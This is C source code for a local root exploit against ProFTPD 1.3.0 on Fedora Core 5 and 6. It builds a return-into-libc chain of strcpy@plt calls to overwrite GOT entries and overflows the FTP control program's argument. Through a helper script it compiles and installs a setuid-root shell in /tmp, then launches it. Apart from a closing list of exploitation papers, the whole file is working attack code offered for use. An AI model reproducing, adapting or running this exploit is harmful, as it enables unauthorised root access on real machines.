#include <unistd.h>
#include <stdlib.h>
#include "debuggeerr.h"
#include <sys/stat.h>

struct strcpy_func {
	unsigned long strcpy_plt;
	unsigned long move_esp;
	unsigned long dest;
	unsigned long src;
};

struct mk_execve {
	struct strcpy_func execve_1;
	struct strcpy_func execve_2;
	struct strcpy_func execve_3;

	unsigned long dest_plt;
	unsigned long dummy_4byte;
	unsigned long execve_arg1;
	unsigned long execve_arg2;
	unsigned long execve_arg3;
};

struct os_type {
	int num;
	char *os_t;
	char *ftp_t;
	int offset;
	unsigned long execve_1;
	unsigned long execve_2;
	unsigned long execve_3;
};

struct os_type os_plat[]={
	{
		0,"Fedora Core release 5 (Bordeaux)",
		"ProFTPD Version: 1.3.0, 1.3.0a (stable) tarball",
		540,
		FC5_EXECVE_FC,SRAND_GOT,ENDPWENT_GOT
	},
	{
		1,"Fedora Core release 6 (Zod)",
		"ProFTPD Version: 1.3.0, 1.3.0a (stable) tarball",
		540,
		NULL_BYTE_PTR,ACCEPT_GOT,ENDPWENT_GOT
	},
};

int make_proftp_cl_shell(){
	FILE *fp;

	if((fp=fopen("/tmp/x0x.c","w"))==NULL)
	{
		fprintf(stderr,"# [-] /tmp/x0x.c fopen() error\n");
		return -1;
	}
	fprintf(fp,"int main(){\n"
		"\tsetuid(0);\n"
		"\tsetgid(0);\n"
		"\texecl(\"/bin/sh\",\"sh\",\"-ip\",0);\n"
		"}\n");
	fclose(fp);
	system("gcc -o /tmp/x0x /tmp/x0x.c 2>/dev/null");

	if((fp=fopen("/tmp/ftp.cl","w"))==NULL)
	{
		fprintf(stderr,"# [-] /tmp/ftp.cl fopen() error\n");
		return -1;
	}
	fprintf(fp,"#!/bin/sh\n" /* root uid child process */
		"chown root: /tmp/x0x\n"
		"chmod 6755 /tmp/x0x\n");
	fclose(fp);

	chmod("/tmp/ftp.cl",0x1ed);
	return 0;
}

int main()
{
	unsigned char pro_ex[1024];
	struct mk_execve __ex;
	struct stat __cs;
	int i;
	int j=0;
	int type=DEF_TYPE_NUM;
	memset(pro_ex,0,sizeof(pro_ex));
	memset(pro_ex,0x78,os_plat[type].offset);

	printf("#\n# [+] make shell\n");
	make_proftp_cl_shell();

	printf("# [+] make payload\n");
	__ex.execve_1.strcpy_plt=STRCPY_PLT;	/* strcpy@plt */
	__ex.execve_1.move_esp=MOVE_ESP;	/* 12byte esp move */
	__ex.execve_1.dest=DEST_GOT+j++;	/* target GOT */
	__ex.execve_1.src=os_plat[type].execve_1;	/* execve() 1byte */

	__ex.execve_2.strcpy_plt=STRCPY_PLT;    /* strcpy@plt */
	__ex.execve_2.move_esp=MOVE_ESP;        /* 12byte esp move */
	__ex.execve_2.dest=DEST_GOT+j++;        /* target GOT */
	__ex.execve_2.src=os_plat[type].execve_2;  /* execve() 1byte */

	__ex.execve_3.strcpy_plt=STRCPY_PLT;    /* strcpy@plt */
	__ex.execve_3.move_esp=MOVE_ESP;        /* 12byte esp move */
	__ex.execve_3.dest=DEST_GOT+j++;        /* target GOT */
	__ex.execve_3.src=os_plat[type].execve_3;  /* execve() 1byte */

	__ex.dest_plt=DEST_PLT;	/* target plt */
	__ex.dummy_4byte=0x82828282;	/* dummy */
	__ex.execve_arg1=FTP_CL_ADDR;	/* argument #1 */
	__ex.execve_arg2=NULL_BYTE_PTR;	/* argument #2 */
	__ex.execve_arg3=NULL_BYTE_PTR;	/* argument #3 */

	printf("# [*] execute `%s'\n#\n",FTPD_CTL);
	memcpy(pro_ex+strlen(pro_ex),&__ex,sizeof(__ex));
	if((i=fork())==0){
		execl(FTPD_CTL,FTPD_CTL,pro_ex,0);
	}
	wait(&i);

	printf("#\n# [+] remove files\n");
//	sleep(10); /* debug */
	unlink("/tmp/ftp.cl");
	unlink("/tmp/x0x.c");
	unlink("/tmp/x0x");

	if((stat("/tmp/x0x",&__cs)==0)&&(__cs.st_mode&S_ISUID))
	{
		printf("# [*] exploit successfully!\n");
		printf("# [*] It's root shell :-}\n#\n");
		execl("/tmp/x0x","x0x",0);
	}
	else
	{
		printf("# [-] exploit failed.\n#\n");
		exit(-1);
	}
	return 0;
}

/* eoc */

--

* Reference

Aleph One: "Phrack 49-7 - Smashing the stack for fun and profit"
Solar Designer: "Getting around non-executable stack (and fix)"
Rafal Wojtczuk: "Defeating Solar Designer non-executable stack patch"
Nergal (Rafal Wojtczuk): "Phrack 58-4 - The advanced return-into-lib(c) exploits"
Exec-shield: http://people.redhat.com/mingo/exec-shield/
my article: http://x82.inetcop.org/h0me/papers/FC_exploit/